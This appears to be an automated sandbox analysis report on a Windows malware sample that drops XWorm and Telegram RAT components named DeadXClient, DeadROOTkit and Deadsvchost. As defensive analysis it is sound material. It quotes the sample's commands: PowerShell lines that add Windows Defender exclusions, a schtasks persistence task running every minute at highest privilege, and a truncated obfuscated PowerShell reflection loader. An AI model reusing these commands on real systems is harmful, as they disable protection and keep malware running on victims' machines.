Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\Public\DeadROOTkit.exe base: 1BB10000

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process created: C:\Users\Public\DeadXClient.exe "C:\Users\Public\DeadXClient.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process created: C:\Users\Public\DeadROOTkit.exe "C:\Users\Public\DeadROOTkit.exe"	Jump to behavior
Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Process created: C:\Users\Public\DeadCodeRootKit.exe "C:\Users\Public\DeadCodeRootKit.exe"	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe"	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe'	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'DeadROOTkit.exe'	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Users\Public\Deadsvchost.exe "C:\Users\Public\Deadsvchost.exe"	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{7d42e50e-8059-4906-9d19-fa399c842f66}	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe "function local:bubcgltffnzz{param([outputtype([type])][parameter(position=0)][type[]]$qbdraqnalmmwja,[parameter(position=1)][type]$duqqlsyxsk)$pndjvvbnfjt=[appdomain]::currentdomain.definedynamicassembly((new-object reflection.assemblyname(''+[char](82)+''+'e'+''+[char](102)+''+[char](108)+''+[char](101)+''+'c'+''+[char](116)+''+[char](101)+''+[char](100)+''+[char](68)+'e'+[char](108)+''+[char](101)+''+'g'+''+[char](97)+''+[char](116)+'e')),[reflection.emit.assemblybuilderaccess]::run).definedynamicmodule('i'+'n'+''+[char](77)+''+'e'+''+[char](109)+''+'o'+''+'r'+'y'+[char](77)+'o'+[char](100)+''+[char](117)+'l'+[char](101)+'',$false).definetype(''+'m'+''+[char](121)+'de'+'l'+'e'+[char](103)+''+[char](97)+''+[char](116)+''+'e'+''+'t'+''+'y'+''+'p'+''+'e'+'',''+[char](67)+''+[char](108)+''+[char](97)+''+[char](115)+''+'s'+''+[char](44)+''+[char](80)+'u'+'b'+'l'+[char](105)+''+[char](99)+','+'s'+''+'e'+''+[char](97)+''+[char](108)+''+[char](101)+'d,a'+[char](110)+''+[char](115)+'i'+[char](67)+''+'l'+''+[char](97)+''+[char](115)+''+'s'+''+[char](44)+'au'+[char](116)+''+'o'+''+[char](67)+''+[char](108)+''+'a'+''+[char](115)+''+[char](115)+'',[multicastdelegate]);$pndjvvbnfjt.defineconstructor(''+[char](82)+''+[char](84)+'s'+[char](112)+''+'e'+''+[char](99)+''+[char](105)+''+[char](97)+''+[char](108)+''+'n'+''+[char](97)+'m'+[char](101)+''+','+''+'h'+''+[char](105)+''+'d'+''+'e'+''+[char](66)+'y'+[char](83)+'i'+'g'+''+[char](44)+''+'p'+''+[char](117)+''+[char](98)+''+'l'+''+'i'+''+[char](99)+'',[reflection.callingconventions]::standard,$qbdraqnalmmwja).setimplementationflags('r'+[char](117)+''+'n'+'t'+[char](105)+''+'m'+''+[char](101)+''+[char](44)+''+'m'+''+[char](97)+''+[char](110)+''+[char](97)+''+[char](103)+''+[char](101)+''+[char](100)+'');$pndjvvbnfjt.definemethod(''+[char](73)+''+[char](110)+''+[char](118)+''+[char](111)+''+[char](107)+''+'e'+'',''+'p'+''+[char](117)+'bl'+[char](105)+''+[char](99)+''+[char](44)+''+[char](72)+''+'i'+''+[char](100)+'e'+'b'+''+[char](121)+''+'s'+''+'i'+''+'g'+''+[char](44)+''+[char](78)+''+[char](101)+''+[char](119)+''+[char](83)+''+[char](108)+''+[char](111)+''+'t'+','+[char](86)+''+[char](105)+'r'+[char](116)+'u'+'a'+''+'l'+'',$duqqlsyxsk,$qbdraqnalmmwja).setimplementationflags(''+[char](82)+''+[char](117)+''+[char](110)+''+[char](116)+''+[char](105)+''+[char](109)+'e'+[char](44)+''+'m'+'a'+[char](110)+''+[char](97)+''+'g'+''+[char](101)+''+[char](100)+'');write-output $pndjvvbnfjt.createtype();}$rjkdrlkuxkpoh=([appdomain]::currentdomain.getassemblies()|where-object{$_.globalassemblycache -and $_.location.split('\')[-1].equals('sy'+'s'+''+[char](116)+''+[char](101)+''+[char](109)+''+[char](46)+''+[char](100)+'l'+[char](108)+'')}).gettype(''+'m'+''+[char](105)+''+[char](99)+'r'+[char](111)+''+'s'+''+[char](111)+''+'f'+'t.w'+[char](105)+'n'+[char](51)+'2.'+[char](85)+''+[char](110)+'s'+[char](97)+'f

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_00000001400022FC AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

6_2_00000001400022FC

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_00000001400022FC AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

6_2_00000001400022FC

Source: DeadXClient.exe, 00000001.00000002.2955878706.0000000002956000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: DeadXClient.exe, 00000001.00000002.2955878706.0000000002956000.00000004.00000800.00020000.00000000.sdmp, dwm.exe, 00000010.00000002.3008522588.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 00000010.00000000.1784338217.000002BAA7B6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 0000000B.00000002.2965080683.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000B.00000000.1755965306.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000010.00000002.3010521437.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 0000000B.00000002.2965080683.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000B.00000000.1755965306.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000010.00000002.3010521437.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: DeadXClient.exe, 00000001.00000002.2955878706.0000000002956000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: DeadXClient.exe, 00000001.00000002.2955878706.0000000002956000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0@
Source: winlogon.exe, 0000000B.00000002.2965080683.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000B.00000000.1755965306.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000010.00000002.3010521437.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: DeadXClient.exe, 00000001.00000002.2955878706.0000000002956000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2b
Source: winlogon.exe, 0000000B.00000002.2965080683.00000225DCB70000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000000B.00000000.1755965306.00000225DCB71000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000010.00000002.3010521437.000002BAA8050000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Windows\System32\dllhost.exe

Code function: 6_3_000002E86A0715C0 cpuid

6_3_000002E86A0715C0

Source: C:\Users\user\Desktop\mIURiU8n2P.exe	Queries volume information: C:\Users\user\Desktop\mIURiU8n2P.exe VolumeInformation	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Queries volume information: C:\Users\Public\DeadXClient.exe VolumeInformation	Jump to behavior
Source: C:\Users\Public\DeadXClient.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Queries volume information: C:\Users\Public\DeadROOTkit.exe VolumeInformation	Jump to behavior
Source: C:\Users\Public\DeadROOTkit.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\Public\Deadsvchost.exe	Queries volume information: C:\Users\Public\Deadsvchost.exe VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\DeadROOTkit VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\DeadROOTkit VolumeInformation
Source: C:\Users\Public\Deadsvchost.exe	Queries volume information: C:\Users\Public\Deadsvchost.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\Public\Deadsvchost.exe	Queries volume information: C:\Users\Public\Deadsvchost.exe VolumeInformation

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_00000001400022FC AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

6_2_00000001400022FC

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_000002E86A097D80 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_000002E86A097D80

Source: C:\Users\user\Desktop\mIURiU8n2P.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: DeadXClient.exe, 00000001.00000002.2920271280.0000000000A0C000.00000004.00000020.00020000.00000000.sdmp, DeadXClient.exe, 00000001.00000002.3027772809.000000001B9AD000.00000004.00000020.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.2999435722.000000001B24A000.00000004.00000020.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.3021083220.000000001C232000.00000004.00000020.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.2927052039.0000000000653000.00000004.00000020.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.3021083220.000000001C238000.00000004.00000020.00020000.00000000.sdmp, DeadROOTkit.exe, 00000002.00000002.2999435722.000000001B1C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: dllhost.exe, Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.25.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\Public\DeadXClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\Public\DeadXClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\Public\DeadXClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\Public\DeadXClient.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\Public\DeadROOTkit.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\Public\DeadROOTkit.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Telegram RAT

Source: Yara match	File source: 2.0.DeadROOTkit.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mIURiU8n2P.exe.27c5330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mIURiU8n2P.exe PID: 2076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DeadROOTkit.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\DeadROOTkit.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\DeadROOTkit.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 2.0.DeadROOTkit.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mIURiU8n2P.exe.27c5330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.DeadXClient.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1700076185.0000000000682000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2956134718.0000000002311000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mIURiU8n2P.exe PID: 2076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DeadXClient.exe PID: 5324, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DeadROOTkit.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\Public\DeadXClient.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DeadROOTkit.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\Deadsvchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\DeadROOTkit.exe, type: DROPPED
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Remote Access Functionality

Yara detected Telegram RAT

Source: Yara match	File source: 2.0.DeadROOTkit.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mIURiU8n2P.exe.27c5330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mIURiU8n2P.exe PID: 2076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DeadROOTkit.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\DeadROOTkit.exe, type: DROPPED
Source: Yara match	File source: C:\Users\Public\DeadROOTkit.exe, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: 2.0.DeadROOTkit.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mIURiU8n2P.exe.27c5330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.mIURiU8n2P.exe.27c5330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.DeadXClient.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1700076185.0000000000682000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703934967.0000000002781000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1703934967.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1701692705.00000000001A2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
